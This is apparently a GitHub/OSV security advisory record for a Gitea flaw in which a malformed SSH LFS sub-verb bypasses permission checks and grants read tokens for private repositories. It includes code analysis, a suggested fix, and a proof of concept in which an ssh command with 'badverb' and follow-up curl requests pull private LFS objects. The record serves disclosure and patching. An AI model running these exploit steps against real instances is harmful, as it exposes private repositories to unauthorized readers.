{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.23.0"
            },
            {
              "fixed": "1.26.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58423"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:35:09Z",
    "nvd_published_at": "2026-07-03T21:17:05Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA flaw in SSH LFS sub-verb handling allows any authenticated SSH user to obtain valid LFS credentials for any repository on the instance, including private repositories they have no access to. This enables unauthorized download of all LFS objects from any private repository.\n\n### Details\n\nIn `cmd/serv.go`, the `getAccessMode` function determines the required access level for SSH operations. For LFS verbs (`git-lfs-authenticate`, `git-lfs-transfer`), it switches on the sub-verb (`upload`/`download`). If the sub-verb is neither, execution falls through to:\n\n```go\nsetting.PanicInDevOrTesting(\"unknown verb: %s %s\", verb, lfsVerb)\nreturn perm.AccessModeNone\n```\n\nIn production (`IsProd=true`), `PanicInDevOrTesting` only logs an error and does not panic. `AccessModeNone` (value `0`) is then passed to `ServCommand` in `routers/private/serv.go`, where the permission check block at line ~322 evaluates:\n\n```go\nif repoExist \u0026\u0026\n    (mode \u003e perm.AccessModeRead ||\n     repo.IsPrivate ||\n     owner.Visibility.IsPrivate() ||\n     (user != nil \u0026\u0026 user.IsRestricted) ||\n     setting.Service.RequireSignInViewStrict) {\n    ...\n    if userMode \u003c mode {  // userMode \u003c 0 is always false\n        // deny access\n    }\n}\n```\n\nFor private repositories, `repo.IsPrivate` triggers the permission check block, but `userMode \u003c mode` evaluates to `userMode \u003c 0`, which is always false \u2014 **access is granted regardless of the user\u0027s actual permissions**.\n\nThe function then returns successfully, and `runServ` generates a valid LFS JWT token with `Op: \"badverb\"`. On the HTTP LFS side (`services/lfs/server.go:599`), the `Op` field is only validated for write operations:\n\n```go\nif mode == perm_model.AccessModeWrite \u0026\u0026 claims.Op != \"upload\" {\n    return nil, errors.New(\"invalid token claim\")\n}\n```\n\nDownload operations do not check `Op`, so the attacker\u0027s token is accepted for all LFS read operations.\n\n### PoC\n\nPrerequisites: A Gitea instance with SSH and LFS enabled (default configuration). Two users: `admin` (owns a private repo with LFS objects) and `attacker` (a regular user with an SSH key, **no access** to the private repo).\n\n```bash\n# 1. Verify attacker has NO access via normal LFS authenticate\nssh git@gitea-instance \"git-lfs-authenticate admin/private-repo.git download\"\n# Output: \"User: attacker is not authorized to read admin/private-repo.\"\n\n# 2. EXPLOIT: Use malformed sub-verb to bypass permission check\nssh git@gitea-instance \"git-lfs-authenticate admin/private-repo.git badverb\"\n# Output: {\"header\":{\"Authorization\":\"Bearer eyJ...\"},\"href\":\"https://gitea-instance/admin/private-repo.git/info/lfs\"}\n\n# 3. Use stolen token to request LFS object download\ncurl -X POST \"https://gitea-instance/admin/private-repo.git/info/lfs/objects/batch\" \\\n  -H \"Content-Type: application/vnd.git-lfs+json\" \\\n  -H \"Accept: application/vnd.git-lfs+json\" \\\n  -H \"Authorization: Bearer eyJ...\" \\\n  -d \u0027{\"operation\":\"download\",\"objects\":[{\"oid\":\"\u003cknown-oid\u003e\",\"size\":\u003csize\u003e}]}\u0027\n# Returns download URL with valid authorization header\n\n# 4. Download private LFS content\ncurl -H \"Authorization: Bearer eyJ...\" \\\n  \"https://gitea-instance/admin/private-repo.git/info/lfs/objects/\u003coid\u003e\"\n# Returns the private LFS object content\n```\n\n### Impact\n\nAny user with SSH access to a Gitea instance (which includes any registered user if self-registration is enabled) can read LFS objects from **any private repository** on the instance, regardless of their actual repository permissions. This is a confidentiality breach affecting all Gitea deployments running in production mode with SSH and LFS enabled (the default configuration).\n\n### Suggested fix\n\nValidate the LFS sub-verb before calling `getAccessMode`, or return an error instead of `AccessModeNone` for unknown verbs:\n\n```go\ncase git.CmdVerbLfsAuthenticate, git.CmdVerbLfsTransfer:\n    switch lfsVerb {\n    case git.CmdSubVerbLfsUpload:\n        return perm.AccessModeWrite\n    case git.CmdSubVerbLfsDownload:\n        return perm.AccessModeRead\n    default:\n        return fail(ctx, \"Unknown LFS verb\", \"Unknown LFS verb: %s\", lfsVerb)\n    }\n```",
  "id": "GHSA-7wvc-rvp7-w99x",
  "modified": "2026-07-21T20:35:10Z",
  "published": "2026-07-21T20:35:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-7wvc-rvp7-w99x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58423"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38008"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/42513398c05ca6bdf71da76cb6f9baaebe8cb924"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/8f4b7ebbf6061bd44b1ab3824f17f37b87fb1740"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories"
}